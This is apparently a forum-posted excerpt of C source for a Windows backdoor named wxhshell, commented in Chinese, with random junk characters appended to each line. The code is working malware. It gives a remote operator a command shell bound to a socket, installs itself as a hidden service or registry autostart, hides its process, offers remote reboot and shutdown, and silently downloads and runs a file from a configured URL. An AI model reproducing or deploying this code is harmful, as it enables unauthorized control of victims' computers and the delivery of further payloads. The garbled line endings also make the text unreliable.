  // 帮助 ~/QzL.S;p  
  case '?': { H Jwj,SL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |ONkRxr@!  
    break; &ceZu=*  
  } Qd$d*mwg:  
  // 安装 PX+$Us  
  case 'i': { EyozhIV  
    if(Install()) i: 1V\q%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tf` ~=fg%  
    else o[_ {\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?!b}Ir<1j  
    break; UL(#B TK  
    } $6R<)]6  
  // 卸载 gJ:Z7b  
  case 'r': { jytfGE:  
    if(Uninstall()) ZfS-W&6Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iGM-#{5  
    else YYN= `ST  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uYF_sf  
    break; 7n5 bI\  
    } Drc\$<9c@  
  // 显示 wxhshell 所在路径 +tl&Jjdm  
  case 'p': { }]kzj0m  
    char svExeFile[MAX_PATH]; {l! [{  
    strcpy(svExeFile,"\n\r"); H>k=V<  
      strcat(svExeFile,ExeFile); !DXKn\aQf  
        send(wsh,svExeFile,strlen(svExeFile),0); >{V]q*[/;Q  
    break; V 9][a  
    } // g~1(  
  // 重启 Vc}m_ T]O  
  case 'b': { CKyX  Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )~s(7 4`}  
    if(Boot(REBOOT)) os"o0?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Busxg?=  
    else { 5) nm6sf  
    closesocket(wsh); 1: XT r  
    ExitThread(0); $yBU ,lu}  
    } Mvu!  
    break; :(N3s9:vz  
    } x%5n&B  
  // 关机 aOETmsw  
  case 'd': { mK fT4t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nz~3o  
    if(Boot(SHUTDOWN)) = T!iM2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [*Wq6n  
    else { Jr|"`f%V  
    closesocket(wsh); vQ$FMKz7  
    ExitThread(0); ,a_\o&V  
    } z1*8 5?  
    break; *q\Ve)E}  
    } FlttqQQdf  
  // 获取shell /V^Gn;  
  case 's': { >XM-xK-=  
    CmdShell(wsh); }PUQvIGZZ&  
    closesocket(wsh); m6bAvy]3<t  
    ExitThread(0); =;4cDmZh  
    break; \IQf|  
  } %[l5){:05  
  // 退出 b[%sKl  
  case 'x': { =LC:1zn4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q",n:=PL  
    CloseIt(wsh); lo5,E(7~h  
    break; ?Bno?\  
    } D<$, v(-  
  // 离开 g/)mbL>=  
  case 'q': { fq48>"g*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \GO^2&g(  
    closesocket(wsh); S=*rWh8)%<  
    WSACleanup(); 7LbBS:@3z_  
    exit(1); hQv~C4Wfrf  
    break; 79^Y^.D  
        } _8v8qT}O~4  
  } >,yE;zuw  
  } tt $DWmm  
9@9(zUS|  
  // 提示信息 !?,7Cu.5#6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |@`F !bnLr  
} m0DD|7}+  
  } KmG*`Es  
_ fJ 5z  
  return; 8M <q-sn4B  
} )"`(+Ku&c  
ph qx<N@  
// shell模块句柄 wuR Q H]N  
int CmdShell(SOCKET sock) Z ]V^s8>  
{ B4Ko,=pg  
STARTUPINFO si; ["TUSf]  
ZeroMemory(&si,sizeof(si)); gdPv,p19L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R*|y:T,H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q$L=G  
PROCESS_INFORMATION ProcessInfo; >x]b"@Hkw  
char cmdline[]="cmd"; CoO..  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gi\2bzWkbX  
  return 0; S~X&^JvT  
} ~)xg7\k  
M=:!d$c  
// 自身启动模式 ,@!io  
int StartFromService(void) {]BPSj{B  
{ ek\8u`GC  
typedef struct +i HZ*  
{ VbyGr~t  
  DWORD ExitStatus; +GqK$B(x7  
  DWORD PebBaseAddress; 'Z5l'Ac  
  DWORD AffinityMask; 7)SG#|v[$  
  DWORD BasePriority; ]/g&y5RG  
  ULONG UniqueProcessId; wFI2 (cQ  
  ULONG InheritedFromUniqueProcessId; }tJR Bb  
}   PROCESS_BASIC_INFORMATION; n,/eT,48`  
}-jS0{i  
PROCNTQSIP NtQueryInformationProcess; [CxnGeKK  
Mm7;'Zbg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q#s:2#=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Z_/MNI  
<q\OREMsq  
  HANDLE             hProcess; 69/aP=  
  PROCESS_BASIC_INFORMATION pbi; HEh,Cf7`'  
J< Ljg<t+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); goBl~fqy0  
  if(NULL == hInst ) return 0; IC"lsNq52  
r:;nv D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2MY-9(no  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M~/7thP{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R<(kiD\?]  
{;mT.[  
  if (!NtQueryInformationProcess) return 0; t7#lRp&  
r'*x><m'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3kqO5+,C  
  if(!hProcess) return 0; KTLq~Ru  
fz>3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VS` tj  
E&>3{uZI  
  CloseHandle(hProcess); tV.qdy/]}  
]rC2jB\,M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <KY \sb9  
if(hProcess==NULL) return 0; 5\!t!FL_  
[l# 8}dy  
HMODULE hMod; n92*:Y  
char procName[255]; v\lhbpk  
unsigned long cbNeeded; Hreu3N  
Yx#?lA2gx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oW ! Z= ;  
f wE b  
  CloseHandle(hProcess); z3-A2#c  
j}s<Pn%4  
if(strstr(procName,"services")) return 1; // 以服务启动 : ;l9to  
]? 2xS?vd  
  return 0; // 注册表启动 M9~eDw'Pr  
} +;#z"m]  
B|I9Ex~L  
// 主模块 Z2P DT  
int StartWxhshell(LPSTR lpCmdLine) ;@ <E  
{ &BOq%*+  
  SOCKET wsl; K<3,=gL9[  
BOOL val=TRUE; t.\<Q#bN#  
  int port=0; Cj/J&PDQ  
  struct sockaddr_in door; ^lvYj E  
bqPaXH n  
  if(wscfg.ws_autoins) Install(); lKVV*RR}  
G.{)#cR  
port=atoi(lpCmdLine); qe/dWJBa  
LOO<)XFJ  
if(port<=0) port=wscfg.ws_port;  {^8->V  
WR|n>i@m  
  WSADATA data; bv:M zYS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LI~ofCp  
^+ J3E4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =`st1K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <ztcCRov  
  door.sin_family = AF_INET; \|@u)n_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _s{;9&qX]  
  door.sin_port = htons(port); -tPia=^  
p[LPi5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V Zz>)Kz:  
closesocket(wsl); 2K:Rrn/cR  
return 1; 6[x6:{^J  
} [[XbKg`"?  
h/goV  
  if(listen(wsl,2) == INVALID_SOCKET) { {)`tN&\  
closesocket(wsl); 57|RE5]|!  
return 1; 1ze\ U>  
} @LyCP4   
  Wxhshell(wsl); BT*z^Z H  
  WSACleanup(); #jqcUno  
&"gQrBa  
return 0; `*Ju0)g1  
[z[<onFIq  
} /LK,:6  
2%Mgg,/~  
// 以NT服务方式启动 D$?}M>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ !<  
{ 0Z4o3r[  
DWORD   status = 0; -bP_jIZF;g  
  DWORD   specificError = 0xfffffff; uN;]Fv@Z  
Ss~yy0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k>.n[`>$6|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hU|TP3*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bC h  
  serviceStatus.dwWin32ExitCode     = 0; Pd8zdzf{  
  serviceStatus.dwServiceSpecificExitCode = 0; -\|S=< g  
  serviceStatus.dwCheckPoint       = 0; |Y tZOQu  
  serviceStatus.dwWaitHint       = 0; Lk8[fFa4  
h uIvXl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^'G,sZ6'Nh  
  if (hServiceStatusHandle==0) return; }K.2  
Dg=!d)\  
status = GetLastError(); u*6Y>_iA  
  if (status!=NO_ERROR) umuE5MKY<  
{ c'}dsq\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dd-`/A@  
    serviceStatus.dwCheckPoint       = 0; !Y,*Zc$R  
    serviceStatus.dwWaitHint       = 0; &;2@*#,  
    serviceStatus.dwWin32ExitCode     = status; I .> SC  
    serviceStatus.dwServiceSpecificExitCode = specificError; I]iTD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yw6^(g8  
    return; ($T"m-e  
  } elDt!9Pu  
;oM7H*W C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @%b&(x^UD  
  serviceStatus.dwCheckPoint       = 0; TbQ5  
  serviceStatus.dwWaitHint       = 0; Y;"rJxHD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kSUpEV+/  
} !(i}FFn{:  
NpAZuISD!  
// 处理NT服务事件,比如:启动、停止 _I/uW|>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [XbNZ6  
{ %8c2d  
switch(fdwControl) CzfGb4  
{ |r<#>~*  
case SERVICE_CONTROL_STOP: +t7n6  
  serviceStatus.dwWin32ExitCode = 0; J/xbMMb   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Oe)B.{;Ph  
  serviceStatus.dwCheckPoint   = 0; \r`><d  
  serviceStatus.dwWaitHint     = 0; }!9KxwC(  
  { .P#+V$qhv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lS96sjJp@  
  } w#!b #TNc  
  return; y!u=]BE  
case SERVICE_CONTROL_PAUSE: * LOUf7`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6d{&1-@>  
  break; (iJ9ekB  
case SERVICE_CONTROL_CONTINUE: 3aUWQP2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J.Fy0W@+k4  
  break; 8Cef ]@x  
case SERVICE_CONTROL_INTERROGATE: rE?Fp  
  break; ,LodP%%UV  
}; kNk$[Yfs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hw 1:zro  
} y*<x@i+h  
vAcxca">S  
// 标准应用程序主函数 |w+N(wcJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rHpxk  
{ FMEW['  
k0@*Up3{7  
// 获取操作系统版本 BN%;AQV  
OsIsNt=GetOsVer(); T=,A pa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YmPNaL  
/Bs42uJ3  
  // 从命令行安装 N 9cCfB\`  
  if(strpbrk(lpCmdLine,"iI")) Install(); G7N Rpr  
q+{$"s9v  
  // 下载执行文件 .C\##   
if(wscfg.ws_downexe) { cH48)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b]6@ O8  
  WinExec(wscfg.ws_filenam,SW_HIDE); \(`8ng]vs  
} {,+MaH  
3L^]J}|  
if(!OsIsNt) { @/W~lJ!e  
// 如果时win9x,隐藏进程并且设置为注册表启动 >m+Fm=  
HideProc(); Z/G?w D|B  
StartWxhshell(lpCmdLine); D^ )?*(  
} !]C=5~B BI  
else > e"vP W*[  
  if(StartFromService()) gT{WH67u  
  // 以服务方式启动 W )jtTC7  
  StartServiceCtrlDispatcher(DispatchTable); <^da-b>C  
else \'CA:9V}  
  // 普通方式启动 uD4j.%  
  StartWxhshell(lpCmdLine); n5+Z|<3)  
f!Mx +ky  
return 0; hl$X.O  
}
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只看该作者 1 发表于: 2006-10-10
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